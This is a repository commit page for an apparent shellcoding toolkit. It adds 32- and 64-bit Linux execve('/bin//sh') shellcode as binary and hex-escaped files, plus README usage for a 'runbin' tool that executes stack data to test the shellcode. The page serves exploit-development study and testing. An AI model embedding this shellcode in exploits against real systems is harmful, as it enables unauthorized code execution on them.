Skip to content

Commit de74125

Browse files
committed
runbin: Used binary files as default and used -e / --escape for text files containing escape strings.
1 parent 5fbb32a commit de74125

15 files changed

Lines changed: 165 additions & 81 deletions

File tree

32.bin

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1��� Qh//shh/bin��̀

32.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

64.bin

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1�H�/bin//shVST_j;X1�

64.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

README.md

Lines changed: 36 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,45 @@
66

77
### [runbin.c](./utils/runbin.c)
88

9-
Executing C-style hex-escaped string data on the stack.
9+
Executing data on the stack, which is used to test and debug shellcode.
1010

1111
Prebuilt binaries exist both for Windows and Linux.
1212

13+
#### Usage
14+
15+
```
16+
./bin/runbin -h
17+
Usage: runbin [-e] <filename>
18+
19+
-h, --help show this help message and exit
20+
-e, --escape Use escape mode.
21+
```
22+
23+
#### Examples
24+
25+
```
26+
$ hexdump 64.bin
27+
0000000 f631 bb48 622f 6e69 2f2f 6873 5356 5f54
28+
0000010 3b6a 3158 0fd2 0005
29+
0000017
30+
$ runbin 64.bin
31+
[-] Printing memory: 0x7ffda9515640 23
32+
31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f
33+
6a 3b 58 31 d2 0f 05
34+
[-] Executing address: 0x7ffda9515640
35+
[toor@bogon shellcoding.git]$ exit
36+
exit
37+
$ less -FX 64.txt :(
38+
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
39+
$ runbin -e 64.txt
40+
[-] Printing memory: 0x7ffde32e3590 23
41+
31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f
42+
6a 3b 58 31 d2 0f 05
43+
[-] Executing address: 0x7ffde32e3590
44+
[toor@bogon shellcoding.git]$ exit
45+
exit
46+
```
47+
1348

1449
## Scripts
1550

bin/hex.exe

0 Bytes
Binary file not shown.

bin/hex32.exe

0 Bytes
Binary file not shown.

bin/runbin

6.91 KB
Binary file not shown.

bin/runbin.exe

12.8 KB
Binary file not shown.

bin/runbin32

6.2 KB
Binary file not shown.

0 commit comments

Comments
 (0)